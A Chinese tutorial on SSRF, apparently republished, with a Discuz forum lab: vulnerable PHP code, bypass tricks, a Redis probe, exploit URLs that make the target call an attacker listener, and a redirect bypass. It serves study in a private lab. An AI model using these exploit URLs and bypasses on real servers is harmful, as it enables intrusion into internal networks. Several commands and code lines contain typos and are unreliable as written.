web渗透-SSRF漏洞及discuz论坛网站测试

一、简介

ssrf(server-side request forgery:服务器端请求伪造)是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,ssrf是要目标网站的内部系统。(因为他是从内部系统访问的,所有可以通过它攻击外网无法访问的内部系统,也就是把目标网站当中间人)

二、原理

首先,我们要对目标网站的架构了解,脑子了要有一个架构图。比如:A网站,是一个所有人都可以访问的外网网站,b网站是一个他们内部的oa网站,我们普通用户只可以访问a网站,不能访问b网站。但是我们可以通过a网站做中间人,访问b网站,从而达到攻击b网站需求。

三、SSRF用途

1,可以对外网,服务器所在内网,本地进行端口扫描,获取一些服务的banner信息;
2.攻击运行在内网或本地的应用程序(比如溢出);
3.对内网web应用进行指纹识别,通过访问默认文件实现;
4.攻击内外网的web应用,主要是使用get参数就可以实现的攻击(比如struts2,sql等)
5.利用file协议读取本地文件等。

四、SSRF漏洞寻找途径

1.能够对外发起网络请求的地方,就可能存在ssrf漏洞
2.从远程服务器请求资源(upload from url,import & export rss feed)
3.数据库内置功能(oracle,mongodb, mssql, postgres,couchdb)
4.webmail收取其他邮箱邮件(pop3/imap/smtp)
5.文件处理,编码处理,属性信息处理(ffpmg,lmagemaic,dogx.rdf.xml处理器)

五、漏洞代码

PHP

<?php
function curl($url)
{$ch =curl_init();curl_setopt($ch, CURLOPT_URL,$url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch );
curl_close($ch);
}
$url =$_GET['url'];
curl($url);
?>

六、SSRF常见防御限制以及绕过

伪协议:
image.png
防御:

1 限制请求的端口只能为web端口,只允许访问http和https的请求。
2 限制域名只能为http://www.xxx.com
3 限制不能访问内网的ip,以防止对内网进行攻击。
4 屏蔽返回的详细信息。

绕过方式:

  解决:在网址后使用@符号再加上引入网址如:http://www.baidu.com@www.csdn.net(实际访问的是csdn网站)利用302跳转绕过利用短网址绕过

image.png

七、漏洞利用

靶场环境搭建(Centos 7)

Centos 7 基本命令
#  关闭防火墙systemctl stop firewalld

Apache安装
# 安装 
yum install -y httpd httpd-devel
#  启动服务
systemctl start httpd.service
# 查看状态systemctl status httpd.service
# 网站根目录:/var/www/html

image.png
image.png

Redis安装
# 地址: http://download.redis.io/releases/redis-3.0.4.tar.gz
wget http://download.redis.io/releases/redis-3.0.4.tar.gz
# 解压:
tar zvxf  redis-3.0.4.tar.gz
cd redis-3.0.4# 安装gcc
yum -y install gcc
# 源码安装
make
# 安装完成进入 src目录
cd src 
# 运行服务端./redis-server

image.png
连接:

reid-cli

image.png

Mysql安装
# 安装
yum -y install mariadb mariadb-server mariadb-libs mariadb-devel
# 启动服务
systemctl start mariadb.service
# 查看状态
systemctl status  mariadb.service

image.png

PHP安装
# 安装
yum -y install php
# PHP关联数据库
yum -y install php-mysql # 测试PHP
# 在 /var/www/html 目录中创建php文件并访问
# index.php
vim /var/www/html/index.php
# 内容
<h1>php</h1>
# 重启Apache
systemctl restart httpd.service
# 访问:http://IP:80

image.png

discuz
  • 简介

discuz是一套通用的社区论坛软件系统。自2001年6月面世以来,discuz!已拥有15年以上的应用历史和200多万网站用户案例,是全球成熟度最高,覆盖率最大的论坛软件系统之一。

  • 下载链接:https://www.tongyixiazai.com/soft/10001911.html
  • 注意:不知道有没有毒,下载后不建议直接解压,上传到虚拟机后再解压使用。
# 上传到/var/www/html并解压
unzip d.zip
# 切换权限
chown apache:apache -R upload
chmod  -R 777 upload

image.png

  • 访问:http:ip:80/upload

image.png

  • 存在问题: 不可写

image.png

  • 修改配置

# SELINUX=enforcing
# 修改为:
SELINUX=
# 重启虚拟机

image.png

  • 数据库密码默认设置为空:

image.png

  • 安装成功

image.png

测试
# Kali
#获取 靶机的redis信息curl -v "dict://192.168.198.135:6379/info"

image.png

redis计划任务反弹Shell

  • 核心漏洞:未授权访问漏洞

image.png

SSRF漏洞还原

  • 参考:https://www.cnblogs.com/yangxiaodi/p/6926450.html

攻击机IP:192.168.198.129
靶机IP:192.168.198.135

  • 首先,攻击机开启nc监听:
nc -lvp 6666

image.png

  • 靶机网页:
# 网址栏输入http://192.168.198.135/upload/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://192.168.198.129:666/1.jpg[/img]
或:
http://192.168.198.135/upload/forum.php?mod=ajax&action=downremoteimg&message=[img]http://192.168.198.129:6666?data=he2I0.jpg[/img]

image.png

协议限制绕过方式:

  • 攻击机
# 步骤:
# 在Apache服务中建立一个PHP页面
# fpt.php
# header 网页跳转
# http:可以修改为任意协议
<?  phpheader("Localtion: http://192.168.198.129:6666/abc");
?>
# 开启监听
nc -lvp 6666

靶机:

#  网页访问:
http://192.168.198.135/upload/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://192.168.198.129/ftp.php[/img]

扩展

  • 创建定时任务sh脚本文件内容

image.png

  • 端口转发命令:
# 将1111端口接收的数据转发到6666端口
socat -v top-listen:1111 ,fork tcp-connect:localhost:6666

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/861108.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

AttributeError: module ‘numpy‘ has no attribute ‘long‘

我使用的numpy版本是1.26.4。numpy.long在numpy 1.20就不维护了&#xff0c;numpy 1.24就移除掉了&#xff0c;因此解决方案之一就是重新安装numpy 或者&#xff0c;ctrl鼠标左键定位到报错的地方&#xff0c;将numpy.long改为numpy.longlong。 https://numpy.org/devdocs/rele…

递归函数(Python)

文章目录 前言一、递归函数 前言 在函数内部&#xff0c;可以调用其他函数。如果一个函数在内部自己调用自己&#xff0c;这个函数就是递归函数。 一、递归函数 在数学上&#xff0c;关于递归函数的定义如下&#xff1a;对于某一函数f(x)&#xff0c;其定义域是集合A&#xf…

【深度学习】C++ Tensorrt Yolov8 目标检测推理

C Tensorrt Yolov8 目标检测推理 yolov8.hyolov8.cppcommon.hppCMakeListmain.cpp C tensorrt对yolov8目标检测模型进行推理。 Windows版本下只需要修改common.hpp对文件的判断S_ISREG 和对文件夹的判断S_ISDIR即可&#xff0c;非核心代码&#xff0c;不调用删掉都可以。亲测可…

解决:无法解析 __imp__Py_RefTotal __imp__Py_NegativeRefcount

解决&#xff1a;无法解析 __imp__Py_RefTotal __imp__Py_NegativeRefcount 通过使用visual stduio软件对C程序嵌入Python解释器进行二次开发&#xff0c;如果是使用debug模式下对源文件进行编译&#xff0c;会出现一下错误. LNK2019 无法解析的外部符号 __imp__Py_RefTotal&am…

【JavaScript】DOM编程

目录 一、什么是DOM编程 二、获取DOM树上的元素结点 1.直接获取 2.间接获取 三、操作获取到的DOM元素结点 1.操作元素的属性 2.操作元素的行内样式 3.操作元素中间的文本 四、增删DOM元素结点 一、什么是DOM编程 开发人员写好的网页文件在生产环境中是需要部署在Web服务器上的。…

华为OD机试 - 掌握单词个数(Java 2024 D卷 100分)

华为OD机试 2024D卷题库疯狂收录中&#xff0c;刷题点这里 专栏导读 本专栏收录于《华为OD机试&#xff08;JAVA&#xff09;真题&#xff08;D卷C卷A卷B卷&#xff09;》。 刷的越多&#xff0c;抽中的概率越大&#xff0c;每一题都有详细的答题思路、详细的代码注释、样例测…

旧衣回收小程序开发:回收市场的新机遇

当下&#xff0c;旧衣服回收已经成为了一种流行趋势&#xff0c;居民都将闲置的衣物进行回收&#xff0c;旧衣回收市场规模在不断增加。随着市场规模的扩大&#xff0c;为了让居民更加便利地进行回收&#xff0c;线上回收小程序也应运而生&#xff0c;为大众打造了一个线上回收…

彻底删除git中的某个文件(包括历史提交记录)

# 加入要删除example.txt git filter-branch --force --index-filter git rm --cached --ignore-unmatch example.txt --prune-empty --tag-name-filter cat -- --all官网https://git-scm.com/docs/git-filter-branch已经不建议用git filter-branch&#xff0c;而建议用 git fi…

P8676 [蓝桥杯 2018 国 A] 自描述序列 题解

参考文章 题意 题目表述的很清楚 思路 #1 暴力枚举 根据题目给出的规律&#xff0c;很容易用 O ( n ) O(n) O(n) 的时间求出 1 0 6 10^6 106 的数据&#xff0c;这样就可以得到 30 30 30 分。 显然&#xff0c;这种方法是不对的&#xff0c;我们在上面进行优化。 #2 …

tldraw白板组件

tldraw 是一个开源的白板组件&#xff0c;10行代码就可以将其接入到 React 项目中&#xff1a; import { Tldraw } from tldraw import tldraw/tldraw.cssexport default function App() {return (<div style{{ position: fixed, inset: 0 }}><Tldraw /></div&…

u盘插到另一台电脑上数据丢失怎么办?提供实用的解决方案

在现代数字化生活中&#xff0c;U盘作为一种便携式存储设备&#xff0c;承载着我们重要的数据和信息。然而&#xff0c;有时当我们将U盘插入另一台电脑时&#xff0c;可能会遇到数据丢失的棘手问题。这可能是由于多种原因造成的&#xff0c;那么&#xff0c;U盘插到另一台电脑上…

多账号注册的原理是什么

多账号注册的原理主要基于自动化脚本或软件&#xff0c;通过模拟人工操作来实现大量账号的自动注册。这一过程涉及多个关键步骤和原理&#xff0c;下面将详细解释&#xff1a; 一、网络请求分析 多账号注册的第一步是分析目标网站或应用程序的注册接口。这通常通过使用抓包工…

大数据面试题之HDFS

目录 HDFS文件写入和读取流程 HDFS组成架构 介绍下HDFS&#xff0c;说下HDFS优缺点&#xff0c;以及使用场景 HDFS作用 HDFS的容错机制 HDFS的存储机制 HDFS的副本机制 HDFS的常见数据格式&#xff0c;列式存储格式和行存储格式异同点&#xff0c;列式存储优点有哪些? …

虚拟化技术(一)

目录 一、虚拟化技术简介二、服务器虚拟化&#xff08;一&#xff09;服务器虚拟化的层次&#xff08;二&#xff09;服务器虚拟化的底层实现&#xff08;三&#xff09;虚拟机迁移&#xff08;四&#xff09;隔离技术&#xff08;五&#xff09;案例分析 一、虚拟化技术简介 虚…

ubuntu中共享文件夹看不到了,解决方法

1、检查共享文件夹配置 2、创建 3、查看共享文件夹 4、另一问题&#xff0c;每次重启虚拟机后&#xff0c;共享文件夹又没了&#xff1f;

尚玩助手短视频看广告任务模式app开发

尚玩助手短视频APP的开发涉及多个关键步骤和考虑因素&#xff0c;以下是其开发的主要步骤和要点&#xff1a; 需求分析和规划&#xff1a; 确定目标用户群体和市场定位。 收集和分析竞争对手的数据和特点&#xff0c;了解市场上已有的短视频APP的优缺点。 确定尚玩助手短视频…

数据库索引与事务

数据库索引与事务 索引 概念 一个排序的列表&#xff0c;为了实现对表的快速查询&#xff08;类似于目录&#xff09;&#xff0c;把一个列作为索引。 对于有序的列表&#xff0c;就可以使用二分法进行快速查询&#xff0c;也叫B树查询。 如果没有索引&#xff0c;那么就会遍历…

kerberos认证:生成keytab文件并实现java代码用keytab登录hadoop集群

Kerberos介绍&#xff1a; Kerberos 是一种网络认证协议&#xff0c;用于在不安全的网络中以安全的方式对用户和服务进行身份验证。它通过使用密钥加密技术来防止数据被窃听或篡改&#xff0c;确保了认证过程的安全性。Kerberos 认证的主要特点包括&#xff1a; 票据&#xff…

Git->git pull 和 git pull --rebase的详解

Git拉取代码的坑 格式&#xff1a;git xx指令 origin/远程仓库分支名称假如本地仓库和远程仓库都是空的 本地仓库向远程仓库提交一个文件 git commit -a -m "local first commit"&#xff1a;-a暂存修改文件到暂存区&#xff0c;准备本地提交。-m表示提交信息git pu…

常微分方程算法之编程示例五(阿当姆斯法)

目录 一、研究问题 二、C代码 三、计算结果 一、研究问题 本节我们采用阿当姆斯法&#xff08;Adams法&#xff09;求解算例。 阿当姆斯法的原理及推导请参考&#xff1a; 常微分方程算法之阿当姆斯法&#xff08;Adams法&#xff09;_四步四阶adams显格式;三步四阶adams隐…